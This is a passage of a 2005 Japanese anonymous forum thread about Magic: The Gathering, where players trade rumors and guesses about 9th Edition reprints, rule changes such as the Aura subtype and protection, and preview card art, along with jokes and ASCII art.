419 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 05:56:20 ID:2si3BQg4
白：税収、剣を鍬に
青：衝動、大クラゲ
黒：強迫、悪疫
赤：略奪、渋面の溶岩使い
緑：踏み荒らし、野生の雑種犬
でどうだろうか
420 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 06:26:08 ID:U5v/OCzQ
>>403
十二足獣とか
421 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 07:38:11 ID:WddJ2G7E
ﾄﾞﾃﾞｶﾎﾟｯﾄﾞﾜﾛｽw
422 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 08:10:38 ID:HZty1o6u
>>414
残念ながら増えてない
ｽﾀｰﾗｲﾄﾏﾅﾊﾞｰﾝが次回はぎゃざ9月号って書いてあるから9月号から増えるんだと信じたい
423 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 08:14:29 ID:NhQpAwvk
ぶっちゃけ、それだけバーンの休刊が急だったってこったろ。
424 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 08:47:13 ID:CfdMgvhX
5/5二体に撲殺される421
425 ：421：2005/07/03(日) 08:54:21 ID:WddJ2G7E
ｴｪｰ!?Σ(ﾟдﾟ;)ｵﾚﾅｸﾞﾗﾚﾙﾉｶﾖ!
426 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 10:03:45 ID:hFgtosUa
じゃあ6/6のワームトークン２体に変更なw
427 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 10:07:29 ID:tK4y/Fd0
>>426
面白くない
428 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 10:18:38 ID:6fJSwjaU
>>427
面白くない
429 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 10:23:56 ID:fF0/gyjO
ﾜﾛﾀ
430 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 10:24:04 ID:Dnaem1W0
>>428
面目ない
431 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 10:25:04 ID:caUBid4V
>>432
面白くない
432 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 10:40:07 ID:WB2jCxdH
（ﾟ∀ﾟ）！
433 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 11:21:25 ID:rCDTnB5I
ヒム採録。
434 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 11:22:16 ID:ILGDMUBg
再録じゃないってことは同型再版か
435 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 11:38:17 ID:rCDTnB5I
2BBで2枚ランダム。
436 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 11:41:37 ID:HZty1o6u
そっちのがやばくね？
437 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 11:42:04 ID:HZty1o6u
ヒムかよｗｗｗｗ
ヒッピーかとｵﾓﾀ
438 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 11:43:32 ID:+/5Yj8kP
これで我慢しな
つ《死霊の嘆き/Specter's Wail(MM)》
439 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 11:58:11 ID:tAyvSttD
精・神・錯・乱ッ☆
ｷｭピィィィ
440 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 12:03:45 ID:rCDTnB5I
BBだと禁止レベルだし2BBだと話にならないし・・・BBB？
441 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 12:08:00 ID:Dnaem1W0
BBのままで超弱体化して、2枚捨てるか捨てなかった1枚ごとに１ライフ、とか。
442 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 12:10:21 ID:+/5Yj8kP
それじゃただの２マナ２点ソーサリー
443 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 12:19:32 ID:/SkxWa7o
嫌な予感がするので事前に言っとくが、オリカはオリカスレでな
444 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 12:25:39 ID:O/9bJidF
9版もう確定したの！？
445 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 12:36:44 ID:dm/ObCOW
信頼できそうな情報であり確定ではない
446 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 14:12:56 ID:4ec7Bhet
http://forums.mtgsalvation.com/showthread.php?t=13320

9版から個別ｴﾝﾁｬﾝﾄはすべてサブタイプ Aura を持つらしい
またWisdom Guildの中の人が面倒な事になりそうだ
447 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 14:20:09 ID:tW8EONLq
>441
黒く塗りつぶせ （･∀･)つ 《頭焼き/Skullscorch(TOR)》
448 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 14:57:48 ID:028Tsx6e
相変わらず個別エンチャントを使わせようと必死だな
装備品で成功したんだからいいじゃないかWoC
449 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 15:00:42 ID:tJAuhlGi
もうヒムネタはいいよ…
ところで《またたくスピリット》ってスタンダードで使えた当時どうだったの？
なんかクリーチャータイプをスピリットにでも変更して貰わないと使う気がしないんだけど…
450 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 15:04:43 ID:028Tsx6e
ヒント：誰も使ってなかった

オマケ：またたくスピリットのクリーチャータイプはスピリットに修正されてる
451 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 15:05:04 ID:vh4lLXgv
ガメラ３のイリスのデザインの元ネタらしいね＞またたくスピリット
452 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 15:29:11 ID:v4YMH1ux
よーしパパ便乗して《キングチータ》と《保管庫集合所》についても聞いちゃうぞー
ヾ( ﾟдﾟ)ﾉ"ｼﾅﾁｸｰ
453 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 15:33:25 ID:pXb8TB87
>>450
俺使ってたよ
除去がふんだんにある時代には結構強かった
ダメージスタックを使ったトリックは使えなかったけど
454 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 15:33:54 ID:XerThsZE
？？？
じゃあ日本語版は

エンチャント（場） ― オーラ

になるのか？紛らわしいことこの上ないな・・・。
エンチャント（場）という表記自体なくすかもな。
でもそれはそれで混乱しそうな悪寒。
455 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 15:40:06 ID:rfx9Pojg
初めて手にしたカードがキングチータ。
縁日でボロボロのをもらったよ。
456 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 15:40:12 ID:tAyvSttD
個別だっちゅーの
457 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 15:41:35 ID:1AqzvDx4
>>452
キングチーターはアンコになるんだろうなぁ…
458 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 15:45:00 ID:rfx9Pojg
そりゃあキングだから
459 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 15:50:45 ID:028Tsx6e
そりゃな、キングだからな


せめてタフネス３あればトリックで使えたのに・・・
460 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 15:51:46 ID:nzuZTeIV
>>452
チーターは枷が落ちれば青にとっては嫌なカードになるだろう。
正直マトリックスの方は期待はずれだったとしか覚えてない。
ウルザの保育器のほうがいいよぅ…
461 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 15:52:28 ID:/HbVeRBi
友達を生贄に捧げれば助かるけどな
462 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 15:52:56 ID:3a6EuRws
>>446
それ、何の意味があるんだろうか？
463 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 15:58:49 ID:vwyS4q6m
>>462
全く読んでないけど、勘で答えてみる。
2マナ以下のエンチャント（クリーチャー）は怨恨の最後の能力が付くってこと？
でも、カードのテキスト自体ねじまげちゃまずいだろうから、
どういう扱いにするんだろうね。
464 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 15:59:51 ID:Ks3/apPd
9版で導入する事にはあまり意味を見出せないな。
おそらく、ラヴニカに向けてのルール整備ではないかと。
465 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 16:05:46 ID:vwyS4q6m
って全然違うし。2マナ以下は例文に出てきてるクリーチャーじゃん。
466 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 16:08:10 ID:lRoGlEvI
最近のレジェンドとかのタイプ整理の流れだろう。
できるだけルールの例外を無くす方向で来てるから、（クリーチャー）とかの
指示語は邪魔だったんだな。
467 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 16:11:41 ID:XerThsZE
> 2マナ以下のエンチャント（クリーチャー）は怨恨の最後の能力が付くってこと？
マジゴッゴ
468 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 16:23:14 ID:lRoGlEvI
「エンチャントする」でなく「付ける」になったのは
多分プロテクションをわかりやすくするためでもあるんだろう。
469 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 16:46:38 ID:OjTqUdN+
ほろほろ
プロテクﾁｮﾝのためにというのもあるか
470 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 17:35:11 ID:jZGdXuT6
43 ：名無しプレイヤー＠手札いっぱい。：2005/07/02(土) 19:48:57 ID:nhnEF9jh
中山悟が予想した
神河の次の大型エキスパンションで終わりってのも案外 馬鹿にできんかもな
471 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 19:11:22 ID:ua1BnEk2
終わりでもいいかもね。もう何年間も十分に楽しませてもらったから。
MTGにはきれいに終わってほしいよ
472 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 19:13:30 ID:qIrzw0Hn
MTGに人生捧げちゃった人が不憫でならない
473 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 19:25:36 ID:tK4y/Fd0
>>472
これからどうやって生きていくのかな
474 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 19:33:35 ID:PzIgwBqC
オレ、どうやって生きていけばいいかな…？
まぁ、日本語版が作られなくなる時は近そうだ。
475 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 20:25:24 ID:Rjl8ViYL
>>441
エビフライですか？
476 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 20:30:30 ID:+aDS/tpN
>>452が話題にしてた保管庫集合所が安かったから買ってきたんだけど
これを相手のターン中にタップするものって同時再録のアイシー以外に何か無いかな？
477 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 20:32:58 ID:38UXdJ1W
>>475
Mind Bombだな
478 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 21:22:58 ID:tW8EONLq
ラヴニカもたまにゃどうぞ

名前不明2BGG
Creature - Insect
If you would draw a card, you may instead put the top card of your library into your graveyard and put ~This~ from your graveyard into your hand.
(?), Sacrifice ~This~: Draw a card.
4/4

479 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 21:34:02 ID:FShvozXV
>>476
５版で「冬の宝珠」が落ちちゃったから「代わりになるのでは？」と騒がれたが結局使われなかったな
まぁ「静態の宝珠」もテンペの頃は使われてなかったし何か一緒にロック状態を作るカードがこの後出るかもしれない
480 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 21:36:02 ID:Ks3/apPd
>>478
何そのリアニのお供
481 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 21:36:19 ID:U5v/OCzQ
>>476
すぐ落ちるけどちらつき蛾の井戸とか
482 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 21:37:26 ID:GpW6tOBZ
>>478
これは素晴らしく至れり尽くせりな《ダークウッドの猪》ですね。
483 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 22:50:04 ID:+/5Yj8kP
何か>478は見覚えがあるのだが
前スレにあった?
484 ：名無しプレイヤー＠手札いっぱい。：2005/07/03(日) 23:40:57 ID:HZty1o6u
>483
俺もどっかでみた
485 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 01:28:16 ID:P4y7ZB10
insteadってどういう意味だっけ？
486 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 01:29:16 ID:7j9wsrr0
中学からやり直せ♪
487 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 01:44:55 ID:qPfzR1By
>>485
俺は「in捨てアド」って意味だと思うぞ
488 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 02:37:26 ID:P4y7ZB10
>>485-486
お兄さんたち、こわい。
目が笑ってないもん。

と某スレの調子でほざきつつ、自己解決。
489 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 04:30:05 ID:Q5N/hpxi
カードを引く代わりにライブラリのトップを墓地に置いて”こいつ”を手に戻すことにしても良し
（？）でサクってドロー１枚
490 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 04:33:15 ID:Q5N/hpxi
ボチから、が抜けたんぐ
491 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 06:53:50 ID:LXBjtwDx
これは生け贄に捧げてドロー、を発動した時の為の能力なのかな？
これが墓地にある時、って記述が無いし
492 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 07:53:53 ID:KiZ9vXA6
>>491
こういうルールテキストが不正なものは、
糞オリカとしてスルーすればいいと思う。
493 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 12:21:42 ID:tPU4PG5g
《無のブローチ》の再録はありえないのだろうか…
494 ：中山 悟 ◆1AeKISTOmo ：2005/07/04(月) 13:10:51 ID:RxNCoW7G
ttp://page13.auctions.yahoo.co.jp/jp/auction/r13955718


この出品者　まだ生きてたんだな
495 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 13:22:23 ID:2dW+obgT
WoC公式で、pain-land１０種類の再録が確定になりました。

まあ漏れは黒枠で全部あるからいいけど、みんな、９版は買え！
496 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 13:36:44 ID:ShzN3sV6
今度の16枚の絵、３は踊る円月刀で１０はエルフの笛吹き、
１はCOP赤で９はCOP黒、１６は送還だと思うが後が分からない。
497 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 13:47:42 ID:hI1sLR8W
１６ブーメランじゃね？
498 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 13:55:34 ID:6UTEAXRS
http://www.wizards.com/default.asp?x=mtgcom/feature/272
499 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 14:02:47 ID:mAgSs29L
ひょっとして、8は甲鱗様か？
500 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 14:06:13 ID:ubw33smE
正直イマイチ半信半疑だった対抗色ダメラン来ましたな。

絵そのままかよ('A`)
501 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 14:21:27 ID:/mqFCB3W
まあ、これであのリストは本物だったと見て間違いないだろう。
やはりrancored_elf情報は確度が高いな。

>>500
カプ森は変わってるし、6番のイラストが青緑か黒緑の土地っぽいから
モノによっては変わるんじゃないか？
502 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 14:23:41 ID:nVi8QA66
>>491-492
ちゃんと読め。そして中学からやり直せ。
503 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 15:55:23 ID:oyuU0XXo
確か先週のイラスト公開じゃ
16種類中15種類をネタ蒔きが当ててたはずだから
今週もネタ蒔き頼むわ。
504 ：ﾈﾀ蒔き時 ◆tTGMucKV2I ：2005/07/04(月) 16:16:05 ID:Vv4S5v8s
今回はA B C D Eが頭文字になってるカードらしい。

１《赤の防御円/Circle of Protection: Red》
２《機知の戦い/Battle of Wits》
３《踊る円月刀/Dancing Scimitar》
４《Elvish Bard》
５《クローン/Clone》
６《低木林地/Brushland(7E)》？
７《夢でうろつくもの/Dream Prowler(ST)》
８《大喰らいのワーム/Craw Wurm(８ED)》
９《黒の防御円/Circle of Protection: Black》
10《エルフの笛吹き/Elvish Piper》
11《破砕/Demolish(OD)》or《バルデュヴィアの蛮族/Balduvian Barbarians(8ED)》
12《大気の精霊/Air Elemental》
13《悪意の眼差し/Baleful Stare》
14《強要/Coercion(8ED)》？
15《アナーバのシャーマン/Anaba Shaman(8ED)》
16《ドラゴン変化/Form of the Dragon(SCG)》

こんな感じで予想してみた。
505 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 16:20:04 ID:QMhIk3jB
あんな大気の精霊嫌だよ～
506 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 16:20:33 ID:3+A+wU7Y
ネタ蒔き
いｄ変えてまで自演乙
507 ：ﾈﾀ蒔き時 ◆tTGMucKV2I ：2005/07/04(月) 16:20:51 ID:Vv4S5v8s
大気の精霊は年々醜悪になってくよなｗ

５版の頃の美しさはどこへ・・・(つД`)
508 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 16:23:25 ID:8Q1Kt6bU
いいかげんに黒枠にしろ
509 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 16:27:15 ID:vSweqY8D
あれエアエレだったのかorz＞１２

しかしみんな絵が綺麗だな～。
コップがカッコ良過ぎる件について。
510 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 16:39:40 ID:zpLIEKq9
勝手に予想
１：赤の防御円
２：魔力の激突？
３：踊る円月刀
４：Elvish Bard
５：クローン？
６：ラノワールの荒原
７：精神を刻むもの
８：甲鱗のワーム
９：黒の防御円
１０：エルフの笛吹き
１１：歴戦の歩兵？
１２：大気の精霊？
１３：？
１４：強要？
１５：アナーバのシャーマン
１６：ブーメラン
１３がわからないorz
511 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 16:43:59 ID:PkTeFJbQ
16は素直にブーメランでいいんじゃない？
＞ﾈﾀ蒔き
512 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 16:47:42 ID:QMhIk3jB
>>507
いや６版というかPセカンドエイジ版だろ
513 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 16:49:22 ID:/Nlvvq5y
11は耳とんがってるから「エルフの戦士」あたりじゃないのかな？
なんか平原にいるから違う気もするけど…
514 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 16:54:30 ID:1BC6/WnG
アルファから４までの「荒れ狂う風のバケモノ」というイメージに忠実な７・８のが好き
515 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 16:58:24 ID:/mqFCB3W
6は土地に見えたが、よく考えると忍び寄るカビという可能性も
516 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 16:58:53 ID:vnhB9QbH
14が頭蓋骨取り出してるように見えるが、該当しそうなカードが無い・・・・・

　 　　　　 |
　 　＼　　__　　／
　 　＿　（ｍ）　＿ﾋﾟｺｰﾝ
　 　　　　|ミ| 　　　　　　　　　頭蓋の摘出か！頭文字Cだし
　 　／ 　.｀´　 ＼
　　　　　('A`)
　　　　　ノヽノヽ
　　　　　　　くく
517 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 17:05:42 ID:j9uG2sqY
>>515
多分正解だと思う。
518 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 17:07:22 ID:I9Weo5F5
>>516
お前頭良すぎw
519 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 17:35:24 ID:qYT6dl3F
役畜とか何で再録されるんだろうなｗ
520 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 17:37:20 ID:CsL+Hf1z
ヒント：ゴーレムになった
521 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 17:54:28 ID:svh3phnX
11のイラスト、ケツから剣だしてるのって意味不明すぎ。
522 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 17:56:59 ID:PfgQKFLi
普通に後ろに構えてたのを落としただけだろｗ
523 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 18:15:06 ID:IRgFCF8/
14は、最初は、ヨーグモスの悪魔か？と思ったけど、なるほど、強要か
ヨーグモスの悪魔にはもう少しいいイラストになって欲しい・・・
524 ：516：2005/07/04(月) 18:26:03 ID:vnhB9QbH
('A`)ﾉｼ　14は頭蓋の摘出だよ！間違いない
525 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 18:30:10 ID:eC2Grc/K
ヨーグモスの悪魔って虫ですか？
526 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 18:37:56 ID:Aiev4hIa
>>525
エロい触手の塊
527 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 18:40:50 ID:a472+mrJ
秘儀は再録されないと思うが。
528 ：ヾ( ﾟдﾟ)ﾉ"ｼﾅﾁｸｰ ◆haMIO/SwXg ：2005/07/04(月) 19:09:38 ID:VacWZwSI
そーいや秘儀だったなヾ( ﾟдﾟ)ﾉ"ｼﾅﾁｸｰ #{/F:'8In
529 ：ﾈﾀ蒔き時 ◆tTGMucKV2I ：2005/07/04(月) 19:53:36 ID:pDHYgD4/
そういやドラゴン変化はＦスタートだから違うやね。となるとブーメランか。
６も言われてみればカビにも見える。

１《赤の防御円/Circle of Protection: Red》
２《機知の戦い/Battle of Wits》
３《踊る円月刀/Dancing Scimitar》
４《Elvish Bard》
５《クローン/Clone》
６《忍び寄るカビ/Creeping Mold(MRD)》
７《夢でうろつくもの/Dream Prowler(ST)》
８《大喰らいのワーム/Craw Wurm(８ED)》
９《黒の防御円/Circle of Protection: Black》
10《エルフの笛吹き/Elvish Piper》
11《破砕/Demolish(OD)》or《バルデュヴィアの蛮族/Balduvian Barbarians(8ED)》 ？
12《大気の精霊/Air Elemental》
13《悪意の眼差し/Baleful Stare》
14《強要/Coercion(8ED)》？
15《アナーバのシャーマン/Anaba Shaman(8ED)》
16《ブーメラン/Boomerang(8ED)》

かなぁ。１１と１４が難しい
530 ：ﾈﾀ蒔き時 ◆tTGMucKV2I ：2005/07/04(月) 19:59:01 ID:pDHYgD4/
(ﾟ∀ﾟ)！

１１は《卑怯/Cowardice(MM)》じゃないか！？
マスクス版のを見ても同じ空気が流れてる希ガス
531 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 20:11:45 ID:TSnFew7C
《おならぷう/OnaraPu-(XX)》だと思う。
532 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 20:16:59 ID:zQgD343Z
「ただし魔法は尻から出る」
533 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 20:22:49 ID:V5ctB9GA
枠が黒けりゃ買うんだがなー
基本セットもエキスパンションマークつけたことだしデザインも変わってるんだし黒枠にスりゃいいのに
534 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 20:22:54 ID:5u2YV4xa
総裁の手紙じゃなかったっけ
535 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 20:23:05 ID:28rs45ni
12が高潮のクラーケンであると祈りたい
536 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 20:24:28 ID:Z8buqPYN
14は魔性の教示者だと言ってみる
537 ：ﾈﾀ蒔き時 ◆tTGMucKV2I ：2005/07/04(月) 20:30:00 ID:pDHYgD4/
あー、たしかに魔性の教示者もありそう。
今週のは全体的に先週のより難しいやねえ。
538 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 21:13:45 ID:8KnHVEQ9
他の板にコピペしない限り
ヴァカには見れないアスキーアート
↓ここから
　　　　　　　　
　　　　　　　
　　　　　　　　
　　　　　　　　
　　　　　　　　
　　　
　　　　　
↑ここまで
539 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 21:33:49 ID:/mqFCB3W
>>533
そんなあなたにロシア語版
540 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 21:49:09 ID:yHC9dzu9
クラーケンのアイザック
541 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 22:30:39 ID:kcOi/zFQ
あれって目がざっくり持ってかれちゃったからアイザックなの?
542 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 22:46:18 ID:4Y0Gs773
ヾ( ﾟдﾟ)ﾉ"ｵｰﾛﾗｴｸｽｷｭｰｼｮﾝ!!
543 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 22:47:50 ID:V5ctB9GA
１４《汚染された結合/Contaminated Bond》といってみる
544 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 23:12:23 ID:hbk3z+sF
白枠は爽やかな感じがいいよね
545 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 23:13:34 ID:aRBbHRLP
なんか安っぽい感じ
546 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 23:14:14 ID:UJipBEki
>>543
正解かもしれん。
11も予想してくれないか？
547 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 23:21:18 ID:gJkWZAwK
個人的に汚染復活してほしいな
548 ：５４３：2005/07/04(月) 23:33:51 ID:V5ctB9GA
>>546
《卑怯/Cowardice》か《狡猾な抜け道魔道士/Crafty Pathmage》か《脱出/Evacuation》くらいしかおもいつかん
549 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 23:35:21 ID:Sdvc2JKR
11の俺の予想は
《弱体化/Enfeeblement》か《疲労困憊/Exhaustion》
550 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 23:44:36 ID:CvG7w9+5
11こそ《踊る円月刀/Dancing Scimitar》。
551 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 23:47:53 ID:g94cKbQO
いや円月刀は３で確定だから

１１何だろ、何か妙に爽やかで黒っぽく無さそうなんだがなー
耳が尖ってるからエルフとか
552 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 23:52:53 ID:rAk51tJR
ところで《疲労困憊/Exhaustion》ってどうかな？
対クリーチャーデッキ限定で《時間のねじれ》として機能しそうじゃね？
553 ：名無しプレイヤー＠手札いっぱい。：2005/07/04(月) 23:58:23 ID:+rZkN8JS
何を今更･･･
554 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 00:00:09 ID:rdcnmKPs
14･･･。
魂の消耗とかドウヨ。<<Consume Spirit>> 弱体化<<Enfeeblement >>にも見えるが。


555 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 00:03:29 ID:S6HQKTNh
11はギルドではエルフの戦士説が多数だが
あえて《エルフの狂戦士/Elvish Berserker》と言ってみる
イラストが尻からナイフで狂ってるし
556 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 00:18:18 ID:DGjai1TE
ここで１１＝巨大化ですよ。
557 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 02:18:22 ID:z3v3F6oJ
うわぁ･･･高潮のクラーケンの中･･･すごくあったかいなり・・・
558 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 03:14:02 ID:AXl0KQQ8
つまんないから死んだらいいよ
559 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 05:04:24 ID:xSZEc7lY
なんでプロテクション付きなのにヴェクの聖騎士入ってんの？
560 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 05:11:56 ID:Xcy62a0z
まだ確定してないから安心しろ
561 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 05:14:44 ID:xSZEc7lY
確定してないのかい
562 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 05:18:39 ID:SKdL6Nmw
今回はプロテクション解禁らしい（これも確定してはないが）
563 ：ﾈﾀ蒔き時 ◆tTGMucKV2I ：2005/07/05(火) 05:51:03 ID:KbM6nCiC
>>559
確定してるよ。（詳しくは公式サイトのコラム参照）

プロテクションとトランプルは今回から解禁された模様。
理由はわかんないけど「そんなに難しくないんじゃね？」って事なんじゃないかな？
564 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 06:47:16 ID:Jeljsf6L
ていうより、基本セットから抜いたのは明らかに失敗
だったってのをWotCがやっと認めたってこったろ。

プロテクションで覚えるべきことと、プロテクション
持ちがトランプルをブロックした際の処理は確かに
初心者には面倒なんだが、それはみんな通った道で
あるんだし、何よりも抜くことの弊害が大きいからね。
バンドとかと違って、プロテクションやトランプルが
マジックから抜くことはおよそ考えられないし。
565 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 07:00:50 ID:HCv1baGu
今度の基本セットは強いんですか？
566 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 07:03:08 ID:nw3PDQla
プロテクションとトランプルを理解出来ないレベルの初心者に
「他のルールについては自分で調べろ」ってのは酷だし
飛行のようにカードにいちいち書くわけにもいかないからな。
567 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 07:03:59 ID:MU1Kpan/
8版と比べると大分強い
568 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 07:07:48 ID:Xcy62a0z
この前のグランプリ松山の時、２日目にも関わらず、対戦相手が「再生した場合はクリーチャ－はタップする」というのを知らなかった。
569 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 07:17:04 ID:1jvOEGaO
再生なんてあまり使わないから忘れること多いよなｗ
570 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 07:17:53 ID:HCv1baGu
単純にカードパワーの高い再録カードは惑乱の死霊とカードエイプ、ですかね。
最近のエキスパンション強いからラヴニカに話題が集中しそうですね。
571 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 07:34:28 ID:AqA+z+Ux
>>568


・・・えっ！
572 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 07:55:42 ID:ioSOs9WQ
とりあえず基本セットはトーナメントパックにルールのついた冊子を
入れるべきだと思うのは僕だけですか？

せめて日本語版だけでも作ってください。
なもなも
573 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 08:09:36 ID:GOn7WFjs
基本セットにトーナメントパックなど無い！
574 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 08:12:04 ID:DoV8N59q
>>572
○　ｺﾞﾛｺﾞﾛ

(⌒)

　 γ⌒ヽ
　 ゝ __ノ


　 γ ⌒ヽ
